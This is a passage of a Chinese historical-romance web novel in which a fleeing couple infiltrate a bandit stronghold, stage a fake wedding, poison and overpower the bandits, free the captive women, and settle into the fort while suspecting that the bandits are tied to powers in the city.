夜里安排了人守夜,陆枝和谢玄躺进一个帐内,四周渐渐响起此起彼伏的呼噜声,她枕着谢玄的手臂眼皮有些沉,又往他身上贴了贴。
谢玄:“因何不开心了?”
陆枝:“母妃……”
她顿了顿继续说道:“母妃已经葬下,她为我打的那把弓,同她一起葬了。”
谢玄侧过身,把陆枝整个人抱在怀里,低低地应了声:“嗯。”
陆枝抬手摸了摸他的侧脸:“从此这天上的星人间的月有她的一份,我们都陪着你。”
谢玄将陆枝环得更紧了些。陆枝在他怀里蹭了蹭搂着他的腰闭上了眼睛。
今夜有星辰,做个好梦,谢玄。
……
次日清晨,外头传来稀稀碎碎的人语声,陆枝动了动眼皮,睁开了眼睛。
谢玄已经醒了,保持着昨晚的姿势一动未动。
陆枝伸了个懒腰,瞬间被酸痛感激了个清醒。
睡在又硬又不平的地面上确实挺费腰背的。
谢玄:“我给你揉揉。”
陆枝求之不得坐了起来。
谢玄抬起那只还能动的手在她背上按压。
陆枝注意到谢玄另一只手无力地垂着,仿若断了一般,慌道:“谢玄,你手怎么了!”
谢玄:“无事,只是有些麻了。”
罪魁祸首陆枝羞赧一瞬,拿过那只发麻到无知觉的手捏了起来:“你叫醒我不就好了,非要强撑着,手不要了?”
谢玄:“看你睡得安稳,不忍心叫醒你。”
陆枝一愣,抓着谢玄的手给他整条手臂波浪似的晃了一晃。
虽说是在逃亡,她昨夜倒是真的睡得安稳,也许是因为逃了一路身体太过疲倦,又或许是谢玄在她身边让她感到安心。
出门在外诸多不便,陆枝走到一群人找到的小溪边简单漱洗了一番,最后一丝倦意跟着水流流去。
若娘递来手帕,她擦干脸后又擦了擦手,顺道将谢玄也擦干了。
其他人没有这般好的待遇,也都是糙人,手往脸上一抹,再甩了甩手,便算结束了。
陈冕问道:“殿下、夫人,我们今日可上山?”
谢玄看着陆枝道:“你让金承提前来了此处,定有些安排,此次便由你来指挥,我们都听你的。”
陆枝扫了一圈一群人,众人倒是没什么情绪,她心知也不该再拖延,于是不再推辞扭捏,道:“今日我们便上山,大家入山后注意看一看四周有没有留下什么记号,若是找到了,我们便沿着记号走。”
她心说:靠你了,师弟。
山势陡峭,山路崎岖,他们从城外走,更是难行,他们寻到一条小道,挂在崖壁上,才通人,看起来是人工开凿的,不知道用来干什么,且看起来很久没人走过了,石头风化得厉害。
陆枝试探性地踩了一脚,风化的石头松软脱落,坠下悬崖,她险些跟着栽下去。
“枝儿,小心。”谢玄一把将她拉回来。
陆枝:“此路不行,太过凶险,且前路不明,若是我们卡在半道上,那真是叫天不应叫地无门了。”
她抬眼看了眼满山翠绿:“若是没有路,我们便自己走条路出来。”
“携带兵器之人在前方开路除杂草。”
“若娘。”
若娘立即将包袱递了过来,陆枝扯开包袱放在地上,一堆瓶瓶罐罐展露在眼前,她道:“诸位将这药粉撒在身上,可避一避蛇虫。”
“数量有限,需得合用,撒在腿上便行,若撒完还有剩,便再往身上撒撒。”
众人陆陆续续地上前拿起药瓶撒粉,陆枝和谢玄没有动,她看每个人基本上都撒上了,才拿起地上剩余的其中一瓶和谢玄一起撒了起来。
她弯下腰提起裙边欲撕裙角,谢玄制止道:“你要作何?”
陆枝:“挡在脸上,防野草割伤。大家也都自行防一防哈。”
若娘:“小姐,要不用手帕?”
陆枝:“手帕不够长。”
谢玄:“哎,撕我的,我来。”
陆枝:“害,没事。”
她利落地撕下两条宽窄不一的丝条,众人背过身去,她拿了一条给若娘:“若娘,你也防防,女孩子的脸还是很重要的。”
若娘:“小姐,可以撕若娘的。”
陆枝将脸捂起来:“好啦,撕都撕了,快捂上。”
她看向众人:“我这衣料有限,大家若是需要,撕自己的。”
陈冕:“夫人,咱们都是糙老爷们,用不着。”
陆枝:“那行,咱们就开始吧。”
拿着刀剑的一群人走在前头除草开路,沐武也在其中,陆枝和若娘被众人护在中间,谢玄带着一部分人走在后面。
陆枝朝着前面喊道:“看不清脚下便慢着点。”
她拿着剩余的药瓶每隔一段便撒一撮。
“若娘,留意树上,看看有没有刻着三角的符号。”
若娘应声,仔仔细细搜寻。
谢玄对着身后的人也吩咐道:“你们也多留意。”
众人应道:“是。”
日头自东移到西,一行人终于登上了山,开路的那批人精疲力尽地瘫在地上。
陆枝:“还有余力之人在附近找找标记,莫走远了。”
陈冕带着一群人在附近找。
陆枝以为要找上一段时间,出人意料地很快就有人回来报告:“夫人,殿下,找到记号了,在那边。”
陆枝心中激动,往前走了两步,看见满地瘫坐的人又停了下来:“将去寻记号之人都找回来,先在原地休整一刻钟。”
日头渐落,林间视线不甚明朗。
他们沿着记号一直往前走,竟看到了一座城寨,大门紧闭,楼上有人来回巡视。
陆枝抬手,众人立刻弯腰缩在草丛后。
“想不到金承竟然摸到了匪窝所在。”这师弟,太给力了。
金承大概率是混进去了,要怎么和他接上头呢?
谢玄:“有个法子。”
陆枝:“!”这么神?心里话都能听见。
谢玄看着她道:“这群山匪会虏人讹赎金。”
陆枝恍然大悟:“行,我去。”
谢玄将她拉回来
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,有些生气:“我尚在此,怎需得你来冒险。”
陆枝:“那好吧,你小心些。”
谢玄点头,正跨出去一步又被她拉了回来:“这山匪绑人也看人穿着的吧,现在我们都粗衣麻布的,怎么看也不像有钱的主啊。”
谢玄沉思片刻,道:“金承可在里面?”
陆枝:“有极大的可能在,也有可能不在。”
谢玄:“那便赌一把。”
陆枝:“如何赌?”
谢玄:“我来自怙州,听闻表弟在此,特来寻人。”
陆枝托着下巴深思:“这倒是个办法。”
她看向众人,低声问道:“你们可有谁身上带了铁丝?”
众人面面相觑,纷纷摇头。
陆枝愁道:“那还是先别进去了,再想想别的办法,若是没碰着金承便成了白送。”
谢玄从腰间掏出一截拧过的铁丝:“一直留着,没舍得扔。”
陆枝一时间无语凝噎,呆呆地眨巴了两下眼睛。
她不理解谢玄的脑回路,一截铁丝有什么好舍不得扔的,不过也幸得谢玄没扔。
陆枝面色郑重道:“那便交给你了,夫君。”
谢玄点头:“夫人安心。”
他朝着山寨门口走去。
陈冕担忧道:“夫人,让殿下一人前去,岂不是太过冒险?”
陆枝点头:“是有些冒险。”她也担心,但她相信谢玄。
“陈统领安心,这座山寨总不会比皇宫难逃。”
陈冕听了觉得有理,他看向沐武,见其也是一脸云淡风轻的神色,悬着的心又放了下去。
一路上看皇妃与殿下情深,皇妃怎么舍得真让殿下出事呢?
……
金承不知道使了什么法子,此刻竟在与山匪头子马端把酒言欢。
底下人来报:“寨主,有个自称从怙州来的穷小子,说要来找表弟。”
金承眼神一动。
马端放下酒杯,眯起眼睛:“哦?怙州来的?金承小弟,我记得你就是说自己是从怙州来的吧,你不是说和家里断绝了关系?怎么还有人来寻你?”
金承冲马端抱了一拳:“寨主大哥稍等,我且问一问。”
他看向来上报的土匪,问道:“来人可说了姓名?”
土匪道:“说自己姓陆,叫陆玄。”
陆是师姐的姓,玄是殿下的名,来的是殿下。
金承掩饰住心中的欣喜,朝着马端现编了个谎言:“寨主大哥,这确实是我家表哥,不瞒大哥说,我家这位表哥是位书呆子,屡试不中,大抵是彻底灰了心,这才来找我来了。”
马端:“既然是个穷亲戚,杀了便是,来了也是个麻烦。”
金承:“大哥且慢。表哥家中富裕,虽不知为何会一副穷酸打扮,但若是以表哥为挟,可让陆家好好吐出一大笔钱来。”
“这表哥家的长辈啊,最是好面子,若是得知自家小辈落草为寇,定然会倾尽全力将人带回去。”
马端摸了摸下巴,道:“要真如你所说他是个有钱的主,那这事便交给你去办,若银两到手,我记你一功,若是……”
他看向金承,眼神犀利:“若是让我发觉你骗了我,金承小弟,寨里的手段你也知道。”
金承:“是,寨主大哥,小弟定然将此事办漂亮。”
他看向底下的土匪,问道:“赵光大哥,我表哥现在在何处?”
赵光道:“已关进地牢里。”
金承对马端说道:“那寨主大哥,我先去见一见表哥。”
马端挥手:“去吧。”
金承离开后,马端冲着赵光使了个眼色,赵光会意悄悄跟上了金承。
26.抢亲
金承走到地牢谢玄面前,眼神向后瞥扫了一眼,不咸不淡地喊道:“表哥。”
谢玄看见他身后一闪而缩的人头,立刻会意进入状态:“表弟,我是来寻你的,快快放我出去。”
金承双手抱胸:“我都跟家里断绝关系了,你还来寻我作甚?倒是我离家前听说,表哥殿试又没中,难不成是在家里待不下去了?”
他拼命朝谢玄眨眼睛。
谢玄配合地垂下头,做出一副颓丧的模样:“家中长辈嫌我无用,日日言辞刻薄,属实是有些待不下去了,一气之下我离家出走,可天大地大,我也不知该去哪里,听闻表弟在凤州,特想着来投奔你。”
金承哼了一声:“姨父姨母竟舍得让你出来?表哥也瞧见了,这寨子可不养闲人,你来投奔我?你一介书生,手不能提肩不能扛的,要寨主大哥白白养着你不成?”
“看你这一身行头,身上铁定没多少钱了,想活着都难。”
谢玄佯装惊恐道:“表弟,表弟,我们好歹亲戚一场,是表哥错了,表哥不该来,你救救表哥。”
金承:“想活也不是不可以。写信给姨父姨母,让他们拿钱来赎你。”
谢玄:“这……表弟,还有没有别的法子了?若此番被赎回去,爹娘定会打断我的腿。”
金承冷笑道:“表哥是要命还是要腿?”
谢玄:“……”不愧是某人带出来的,这说话语气跟她还真像。
金承喝道:“说!到底要命还是要腿?”
谢玄浑身一抖:“要……要命。”
金承笑了出来:“这才对嘛,表哥。我这就去拿纸笔,你好好给姨父姨母写信。”
赵光看金承要走出来,赶紧先一步跑出地牢,假装刚到迎面走过来:“哎,金承小弟,和表哥聊得如何了?”
金承耸耸肩:“怂蛋一个,稍稍吓唬吓唬就肯配合了。赵光大哥先不说了,我先去拿纸笔让他给家里写信。”
赵光:“哎,老弟,这信可得注意了,别让人家报了官,给寨子里惹麻烦。”
金承:“害,大哥放心,待他写完了,我让你也瞧瞧。”
赵光假装为难了一会儿,道:“行,我就看一眼,小弟别多心。”
金承:“害,不会,我都理解。”
赵光跟着金承进地牢看谢玄写信。
谢玄磨磨蹭蹭地写完信,说道:“表、表弟,我写好了。”
金承去接,他顺势将一颗药丸递给金承。
两人对视一眼,金承接过药丸塞进袖里,他把心拿给赵光看:“来,大哥,你看一眼。”
赵光看了看,确认没什么问题,把信退给金承:“小弟,你也别多心,老哥也是为了寨子里的兄弟们的安全着想啊,你多理解。”
金承:“大哥说的哪的话,小弟当然理解。那大哥,我就去找个驿站送信了。”
赵光:“去吧去吧。”
可金承还未走出五步,一道听着颇为泼辣的声音传来:“听闻寨子里虏来了个斯文书生,这可稀奇,我来瞧瞧。”
金承和赵光纷纷行礼:“大小姐。”
此人乃是马端的亲妹,马倩。
金承道:“大小姐,此人乃是我的表哥,当下正写完信,我要将信送出去,过些时日表哥家里人便该拿钱来赎人了。”
马倩挥了挥手,对此并不感兴趣,她掠过两人走到地牢边,一看见谢玄眼睛瞬间直了。
面如雕刻,墨眉星目,好俊的男子。
她叹道:“想不到这斯文书生还是个美男子!”
谢玄“害怕”地往后缩了缩。
马倩:“哟,这还怕人呢,真惹人喜欢。”
她一把抢过那封信,将信撕了个粉碎:“去告诉哥哥,这钱咱们不要了,我要留他在寨子里,当我的夫君。”
金承:“……”
谢玄:“……”
赵光向来不敢惹这位姑奶奶,立刻点头哈腰道:“是,大小姐,我这就去告诉大当家。”
他拉起呆愣的金承:“走啊,还愣在这干嘛,这等好事要赶紧告诉寨主。”
金承突然咳了起来,越咳越厉害,他一边低着头咳,一边使劲朝谢玄使眼色。
殿下,你可千万不要做出对不起我师姐的事啊。
谢玄:“……”他自然不会。
赵光吓一跳,给他拍背:“怎么了这是?怎么好好的突然呛着了?”
金承缓了缓:“没事大哥,方才听见这个消息太惊讶了,一不小心猛吸了一大口气,呛着了。”
马倩微微蹙眉:“金承,我与你表哥成亲后,我便是你的表嫂,你不会不愿意认我当你的表嫂吧?”
金承:“哎哟,大小姐哪的话,表哥和我能攀上大小姐是我们几世修来的福分。”
马倩听了很是满意:“你小子,倒是会说话。行了,都退下吧,别都在这吓着了我的未来夫君。”
她回过头冲谢玄抛了个媚眼:“夫君,听闻成亲仪式繁琐,我这就去准备,你也好生准备准备。”
谢玄:“……”
他垂下脑袋,视线落在金承的手腕上。
金承了然,师姐的药向来不会出错,虽然信是送不出去了,但马倩要成亲也是个好时机。
……
众人撒在腿上的药粉在上山之时都被蹭掉得差不多了,陆枝用仅剩的药粉撒了一个不连贯的圈把众人围在里面,虽能防得住爬行的,却防不住会飞的。
一群蚊子在耳边飞来飞去试探,嗡嗡直叫,实在惹人心烦。
巴掌声时不时地响起,此起彼伏的,像一段韵律不齐的乱奏。
陆枝没把脸上的布条取下来,虽然作用不大,好歹有点心理安慰。
一群人在山林间喂了一夜的蚊子。
次日陆枝还闭着眼睛,迷迷糊糊地听见沐武说:“有人出来了。”
陆枝从疲惫中挣扎出来往下面看去。
一队人从城寨中出来,领头的是位中年男子,骑着马,后面跟着一群娇娘,看着是要下山。
陈冕问道:“这是要做什么去?”
陆枝:“大抵是下山采买,看,去的基本都是女子,只有领队的是个男子。”
陈冕点了点头:“那这是要去买什么?”
“下酒菜?不会是把殿下——”
他不敢再说,陆枝的脸色变得很难看。
谢玄在里面到底出了什么事?
寨子里很快出来了人,在城门上贴了两张大红喜字。
陆枝的脸色更难看了,手扶着的那块树皮被她硬生生地扒了下来。
若娘赶紧扒拉下陆枝的手给她清理指缝:“小姐,怎么了这是?”
陆枝深呼吸了一口平缓下怒气,盯着门口语气冰冷道:“谢玄要成亲了。”
这喜字早不贴晚不贴,偏偏是谢玄进去后贴了,这还能让她怎么猜想?
一群人噤若寒蝉,大眼瞪小眼。
沐武立即替主子解释:“应是被逼的。”
陆枝沉声:“我知道。你们先待在这,我跟着那群队伍下山。方才见她们都戴着面纱,倒是容易混进去。”
“沐武,此处便交给你了,待我进去后,会想办法给你们发信号。”
沐武点头:“好,夫人小心。”
陆枝拍了拍若娘的手,看向沐武:“护好若娘。”
沐武:“定然。”
……
陆枝跟在那队
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人的后面入了城,从脂粉铺跟到首饰铺再到成衣铺,一直在寻找替换的机会。
成衣铺下手的机会大。
那些女子需要将成衣穿在身上看看效果,陆枝耐心地躲在暗处观察着某位女子,待她们确认好款式,她潜入店内捂住换衣裳女子的嘴将其敲晕。
陆枝换上她的衣裳走了出来。
一女子接过陆枝手里的衣裳,道:“老板,便要这个样式,去取一件新的来,尺寸和这件一样。”
成衣铺老板连连应声,将成衣包好。
一行人返回山上。
上山途中,一女子想要揭下面纱透个气,被另一女子阻止,她低声道:“别摘,大小姐要我们戴上面纱,是不愿让新姑爷瞧别的女子,你待会若是忘了,可有的受。”
女子悻悻地收回了手:“谢姐姐提醒。”
陆枝捏了捏手指,微微垂着头跟着进了寨子。
她小心地观察着寨内的守卫情况,目之所见便有四五十人,不知未见的有多少。
谢玄带出来的人大抵一百来号,这一百来人经过谢玄的训练,若真打起来,胜算应是有的。
金承站在台阶上迎人:“赵光大哥,辛苦了。”
“各位姐姐,辛苦了,我给姐姐们备了解暑的绿豆汤。”
这群女子走完山路又热又渴,闻言立刻喜笑颜开:“还是金承弟弟最贴心。”
金承:“赵光大哥一路辛苦了,也去喝一碗。”
赵光擦了擦汗:“不了,我还得去盯着布置,你带她们喝完就赶紧去大小姐那边,别耽误时辰,大小姐可是今晚就要拜堂。”
金承应道:“是,赵光大哥。”
陆枝跟着一起去了厨房。
金承表现得乖巧,将绿豆汤一碗一碗给人送到手上,到陆枝时,陆枝接过,道:“谢谢金承弟弟。”
金承眼皮一跳,这是师姐的声音。
陆枝背过身将汤喝了,把碗递还给金承时用手指轻轻敲了两下碗沿。
金承思索了片刻,明了了陆枝的意思,他放下碗道:“诸位姐姐若是喝好了,便随着我去大小姐房间伺候大小姐梳妆打扮。”
众人纷纷放下碗,掩下面纱,跟着金承走了。
马倩在房内等候新嫁衣,谢玄已经让她叫人绑来了房间换好了喜服。
陆枝进房一看谢玄被五花大绑地绑在床上,心里的怒火噌地一下子冒了出来。
她看了看房内的陈设,马倩的梳妆台上放着一把小巧的匕首,屋内伺候梳洗的女子有八位。
放倒这些人倒是不难。
陆枝趁着靠近马倩的时机拿走了桌上的匕首,她正要制服马倩,被马倩一声呵斥惊了一下。
马倩一脚踢倒了一个女子,骂道:“贱/蹄子,扯到我头发了不知道啊?”
那女子吃痛却不敢辩驳,爬起来跪着求饶命。
马倩抓起桌上的木匣子往她头上扔:“要不是今日是我大喜之日,你就死了,晦气东西,滚出去。”
女子被砸得头破血流,紧咬着嘴唇退出了房间。
此举有杀鸡儆猴的效果,一群人顿时小心翼翼起来,大气也不敢喘,垂着头的眼睛里是马倩看不到的痛恨。
陆枝绕到马倩的身后,以迅雷之势捂住马倩的嘴,一刀抹了马倩的脖子,鲜血溅了陆枝一手。
马倩瞪大眼睛抽搐挣扎,陆枝往心脏处补了一刀,马倩顿时没了动静。
一群人被这突如其来的变故吓到,正要大喊,陆枝喝道:“喊叫出声,下场同她一样。”
一群人立马捂住嘴哆嗦。
陆枝把马倩扔开,拿着带血的匕首走向床边,一只脚踩在上面,歪头一笑:“夫君,我来抢亲了。”
27.稀奇
陆枝用匕首割开谢玄身上的绳索,手上的血沾了他一手。
她扯下面纱给他擦:“哎,蹭脏了。”
谢玄将身上的层层绳索抖落掉,站起来扑进陆枝怀里:“夫人,你可算来了,再晚来一会,为夫就要清白不保了。”
陆枝:“……”这话怎么听着那么耳熟?
谢玄体型大过陆枝,此刻委屈巴巴地窝在陆枝的肩头,像一只撒娇的大型犬。
陆枝的心一下子就化了。
她拍着谢玄的背哄道:“好啦好啦,为妻这不是来了么?”
……
堂内张灯结彩,人声嘈杂。
陆枝盖着红盖头,和谢玄各牵着红绸两端走进大堂,人声安静下来。
谢玄和金承的视线一触即散,金承对他微微点了点头,他扯了扯红绸示意陆枝。
陆枝嘴角勾起笑意,她扯了红绸两下以做回应。
马端从位置上站起来,搂过金承的肩膀粗声道:“兄弟们,往常咱们寨子虏来多少男子,我这妹妹没一个看上的,如今倒是看上了金承这小子的表哥,今后我和金承小弟就是一家,大家可要多多照顾我妹夫和我表侄子啊。”
众人回道:“那是自然,恭喜寨主,恭贺大小姐。”
金承倒了一杯酒,举杯道:“寨主大哥,哦,不,如今要改口叫表兄了,寨主表兄,今日大喜之日,我敬您,和在场的大哥一杯。”
他举杯转了一圈一饮而尽。
马端喝道:“好!”
众人纷纷举杯同。
马端坐下,道:“吉时已到,让我这妹子赶紧拜堂吧,可别耽误了她的洞房花烛夜。”
众人笑得有些猥琐,有个胆大的喊道:“寨主,咱们待会给大小姐闹个洞房吧,让咱们瞧瞧大小姐征服新姑爷的雄姿啊哈哈。”
马端拿起一块肉丢了过去:“闹什么闹,信不信我把你闹个脑袋开花。”
那人怂道:“这不是图个喜庆嘛。”
马端:“行了行了,该行礼了,别耽误了。”
他看着台下的新娘心里觉得有些奇怪,往常他这妹妹听见这泼皮话当场便会发作大打出手,今日这是怎么了?这般能忍?
他又看向谢玄,心道:这姑爷看着斯文,妹子这是在装正经呢。
马端冲身边的人招手示意。
赞者立马高呼:“吉时已到,行礼,一拜天地——”
陆枝和谢玄配合地拜堂,拜高堂时两人侧了点身子,对着空处拜了一拜。
夫妻对拜。
礼成。
按照礼仪两人该上前给马端敬酒。
陆枝估摸着毒药发作的时辰,故意将步子走得很慢。
她行至马端面前端起酒,马端终于意识到了不对劲,他妹妹的手没有这般白净。
马端拍桌站起,抬手要掀陆枝的盖头,谢玄一把抓住他的手腕:“夫人的盖头该由我来掀。”
他一用力,把马端推倒在地。
马端怒道:“你不是书生!兄弟们,抄家伙,抓住他们!”
一群人从桌子底下掏出家伙围了过来。
金承拔出剑抵在马端的脖子上。
马端怒吼:“金承,你!”
陆枝手碰到盖头停了下来,转而捏了捏谢玄的手,指向盖头。
谢玄嘴角溢出笑,双手捏住盖头的两端将盖头掀开一半挂在珠钗上。
马端见了盖头底下的脸,喝道:“你是何人!马倩呢?你们将倩倩如何了!”
底下人的作势要冲上来,金承喝道:“都别动!不然他死!”
一群人不敢上前。
陆枝默不作声,掰了三遍手指头,才道:“差不多到时间了。”
她这话说完没多久,堂内众人开始发觉腹部传来痛意,这痛意刚起一瞬间就蔓延全身,所有人都拿不稳手中家伙事倒在地上捂着肚子抽搐。
金承喝了酒,也开始发作。
陆枝接住金承,将他放在铺了虎皮的交椅上,从腰间拿了根银针出来扎进他的脖子右侧。
她看向谢玄:“这样能缓一会儿,解药在若娘那。”
谢玄道:“我去开门。”
外头守卫的二三十人听见堂内的哀嚎,带着刀冲了进来。
这些人没喝酒,没有中毒。
谢玄摸了摸桌底下,果真摸到了一把刀,他道:“夫人,打打杀杀的事便交给为夫。”
“哎——”陆枝拉住他,“掩护我出去,看好金承,这毒拖不得。”
“嗯。”
谢玄腾空而起,手中大刀凌空劈下,化出一道冷光,刀风凌厉呼呼作响,冷光一瞬而逝,消逝瞬间,一颗人头猝然落地,吓得众人后退。
陆枝不担心谢玄招架不来,她绕过打斗的众人从一旁向门外跑去。
有人注意到陆枝,提刀向她砍来,谢玄一跃而起挥刀而下,打掉砍向陆枝的刀,挡在她的身前。
陆枝收回后撤躲避的步子,继续朝门外跑去。
她跑上城墙,用匕首解决掉两名守卫,敲响警示挂钟,后跑下楼打开山寨大门。
沐武等人听到信号,从山上奔驰而下涌入山寨。
陈冕:“夫人。”
陆枝:“你们先进去帮谢玄。”
若娘体力不支,和沐武跟在最后,陆枝跑过去:“若娘,快,那个红色的药瓶。”
“好。”若娘赶紧扒开包袱拿出药瓶,“小姐,找到了。”
陆枝一把抢过:“我先进去,你们跟来。”
她用最快的速度跑进堂内,给金承喂下解药。
金承苍白的面色渐渐恢复红润,陆枝提着的那口气才终于松下。
谢玄的人一路逃跑,肚子里窝着一股火气,下手没个分寸,匪徒们被杀得七零八落,大堂里瞬间弥漫起一股浓重的血腥味。
陆枝喊道:“陈统领,别让若娘进来。”
“是。”陈冕走出去将若娘挡在门外。
陆枝道:“诸位,今后此处便是我们的了,将这些尸体找个地方埋了。诸位自行寻间屋子住下,若是屋子不够便两人凑一凑。”
众人听命收拾现场。
谢玄:“此处有我在,那间屋子里的那群女子,便交给夫人了。”
“好。”陆枝点点头,走出大堂,道:“若娘,你在这跟着沐武。”
马倩的尸体躺在原地已然僵硬,陆枝出门前给她脸上盖了块布,遮住了僵化后的骇人面容。
可与尸体共处一室终是吓人,一群女子缩在角落抱作一团。
陆枝推门而入,众人惊得往里缩了缩。
她坐到桌边倒了杯茶润喉,道:“各位姑娘,匪贼已死,各位若要归家,待明日天亮可自行离去。”
众人面面相觑,有些不可置信,有个胆子大些的问道:“当、当真?”
陆枝:“当真。诸位便先回自己的屋子去吧。”
众人看陆枝似乎是真的要放她们走,纷纷站起来试探着往屋外走,见陆枝没拦,小跑着回了自己的屋子。
她们听见外头的声响,推开一条窗缝偷看。
一群人正来来回回地搬运着鲜血淋漓的尸体。
“啊!”她们吓得抱在一起。
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>其中一位女子名叫楚悦,在这群女子当中较为稳重,她道:“妹妹们,你们看,那些死人都是欺辱过咱们的渣滓!”
想起被虏来山寨所遭受的种种屈辱,她愤愤道:“死得好!他们都该死!”
“是那位姑娘杀了这群恶人,不论她是何人,既替我手刃了仇人,我愿意留在这侍奉她。”
说着她就往屋外走去。
女子们拦住她:“哎,楚姐姐,你要去哪?”
楚悦:“我要找那位姑娘,跟着她。”
被她提醒不要摘面纱的女子担忧道:“楚姐姐,你也见着了,那位姑娘杀马倩时,可是眼睛都没眨,如此凶恶之人,你跟在其身边,难道会比跟着马端好过吗?”
楚悦看了眼又窗外收回视线,道:“可她没有杀我们,若是杀人不眨眼的魔头,为何独独留下我们的性命,还要放我们离开?”
女子:“这……”
楚悦握住挂在胸前的项链,道:“我们是如何被虏来的,大家都可还记得,家已经让马端毁了,下山后我们又能去哪?”
众人垂下眼眸,面露戚戚。
是啊,她们已无家可归。
……
陆枝没想到七位女子会提出留下,她已让人给她们准备好了银两,下山之后也有生活保障。
“你们当真想好了?我们这群人如今同匪无异,将来若遭朝廷讨伐,生死难料。”
“你们拿着钱下山做点营生,可比做匪安稳,各位姑娘莫要选错了。”
楚悦带头说道:“姑娘,我愿意留下。”
其余人也陆陆续续附和。
陆枝不再多劝:“姐姐们选择留下,陆枝自然欢迎,不知姐姐们可否告知我姓名啊?”
楚悦带头欠身:“楚悦。”
“陈琳。”
“许萍。”
“田冉。”
“韦兰。”
“朱蓉。”
“杜青。”
陆枝抱拳:“陆枝记住了。”
“七位姐姐——”
她猛地反应过来,不,不是七位,是八位!
还有一位被她打晕在了成衣铺子里,应该很快就会被人发现,那成衣铺子的老板定然会报官……
“若娘!”
若娘急忙跑来:“小姐,怎么了,何事着急?”
陆枝:“快去告知沐武和陈统领,加强守卫,做好迎敌的准备。”
官府之人怕是要不了多久就会来了。
楚悦:“陆姑娘,出何事了?”
陆枝指了指众人:“不知各位姐姐有没有发现,你们当中少了一人?”
楚悦看了眼其余六人,反应过来:“是元霜。”
陆枝:“这位姐姐应是去报官了,官府之人怕是很快便要打来了。”
楚悦眼中恨意涌现:“其实陆姑娘不必担心——”
“小姐!”若娘急匆匆地跑出去又急匆匆地跑回来,气喘吁吁道:“小、小姐,来、来人了。”
陆枝眉头一皱,来得这么快?
“我出去看看,你和姐姐们待在这里。”
“不、不是,”若娘拉住陆枝,拍着胸脯喘匀了气,道:“是位姑娘。”
陆枝刚踏出去的步子收了回来,她扫了眼众人,心道:不会是那位元霜吧。
沐武将人带了进来。
楚悦道:“陆姑娘,是元霜!”
陆枝一时间愣在原地。
她看了看楚悦一众,又看向那位元霜,笑了一声。
呵,这可真够稀奇的,竟还有人逃出匪窝再自己回来的。
28.真相
陆枝坐在桌边,手指在桌面上一点一点。
等了一盏茶的功夫,元霜似乎没有要开口解释的意思,陆枝也就不再等了,她站起身,道:“既然姐姐不愿说,我也不得勉强,寨中还有诸多事要忙,我就先走了,姐姐们随意。”
陆枝带着若娘离开。
若娘:“小姐,她们瞧着似有什么难言之隐。”
陆枝点头:“既是难言,我也不便多问,问多了惹人嫌,她们若是想说了自然会说。”
“好了,先不管她们了。若娘,去叫些人来,咱们一起将寨子收拾收拾,那群土匪弄得乌烟瘴气的,瞧着就膈应,怎么说咱们现在也是落草为寇了,好歹把窝弄得像样点。”
有陆枝在,若娘完全没有流离失所的心焦与绝望感,她笑应道:“好嘞。”
陆枝带着一部分人对整个山寨进行大扫除,该扔的扔,该修的修,武器、食物和钱财分开存放。
若娘和陆枝将武器、食物、钱财余量整理成册,谢玄带着他的人马在校场训练,外头时不时传来将士们训练呼出的整齐号子声。
陆枝翻看着册子,心道:路漫漫啊。
这些土匪的武器基本上都是大刀和弓箭,弩都少的可怜,这么点武器难堪大用,若是有人来犯,准会让人家一锅端了。
陆枝心里有些奇怪,这群土匪看起来不过如此,怎么会变成连朝廷都平息不了的匪患呢?这其中是不是有什么别的隐情?
她想不出个所以然,继续翻看食物那本册,吃的暂时够他们这群人吃上个把月,得想想一月以后该如何。
至于钱财,这群土匪金银财宝倒是囤了不少,这些钱可以用来造武器、买粮,倒不用太愁。
不过粮食光是靠买终有一天会吃光,到时还是得靠自己想办法,好在她有过经验,完全不担心。
陆枝让人在山上围了一大圈篱笆、打了好几个栏棚,买了家畜,如鸡鸭鹅猪牛羊等圈进去养。
山上不宜种粮,她就种药,既能自用也能拿下山去卖。
谢玄的兵中正好有懂得打造武器的好手,陆枝便画了诸多枪戟弓箭□□出来,其中包括袖箭。
谢玄看陆枝画图问道:“这些袖箭是做给那八位女子的?”
陆枝抽了个间隙抬头笑道:“知我者,你也。”
“他日若有乱,她们也可有个防身的手段。”
谢玄:“夫人想得周全。”
陆枝勾完最后一笔,搁下笔道:“有一事我正想同你说说。”
谢玄掏出绢帕给陆枝擦拭指尖沾上的墨点:“是这凤州的匪患?”
陆枝渐渐习惯了和谢玄的这种默契,点点头道:“这匪患看着明明不成气候,怎会让朝廷次次无功而返?”
“况且这匪人数有限,如何能做到以全城人的性命做要挟?”
她原本以为这群凤州的土匪已经聚成了一股不小的势力,将近于一支小规模的军队。
但从他们轻而易举夺下山寨来看,这群土匪明明就是群乌合之众,不堪一击,这样的聚众怎么可能将朝廷的官兵呵退呢?
谢玄微微蹙眉:“不错,初入这寨时,我便觉着不对劲,这群人的武艺稀松平常,基本只靠蛮力,这些日子我一直在想其中缘由,有了两个猜想。”
“一是这凤州内不止这一处匪窝,二是这匪患与城中有关。”
陆枝颇为赞同:“我同你想到一处去了,且我觉着第二种的可能更大。”
“那位元霜,明明已都逃出这魔窟,却又自行走了回来,这实在令人费解,我问过她,看她不愿说,我便也没勉强。”
“后来我想了想,猜测这匪窝应是与城中的某个大势力家族有关,她在城内会落入这个家族手中,再被送回,那下场定然比自己回来惨烈。”
谢玄:“夫人猜的在理。”
“这凤州终究远离京城,其中细节想必只有州官才最为了解。”
陆枝:“马端没有真正信过金承,金承也没能打听出来更多消息。”
“不过说起州官……”她拧了拧眉,又道:“罢了,现下都是猜想。”毕竟是一方父母官,还是先不要将其想得太坏。
她道:“若真想知道缘由,我猜那八位姐姐定然是知道些什么,就看她们什么时候肯开口了。”
谢玄:“我先派沐武下山去打听。”
陆枝:“也好。”
……
凉风送爽,时近中秋。
原本乌烟瘴气的山寨焕然一新。
其实也称不上有多新,只是较之原来和乐了些,规整了些,也热闹了些。
入夜后偶尔能听到几声牛羊猪的叫声,晨起有公鸡开嗓,叫醒一群家畜,顿时众畜合鸣,轰轰乱叫,囔着开饭。
起先陆枝被吵得烦,想着将它们都宰了开荤,但一想到这些都是储备的粮食又忍了下去,气冲冲地爬起来给众祖宗喂食。
楚悦等人看陆枝辛劳,主动帮忙,后渐渐将这事接手了过去,陆枝便能偷个懒多睡会。
再而后,在一顿乱哄哄的叫声中,陆枝也能安然地在梦中与周公下棋。
陆枝习惯了多赖会儿床,谢玄却每日都起得早,他说“兵要忌惰,武不可废”,故而与将士们共同操练。
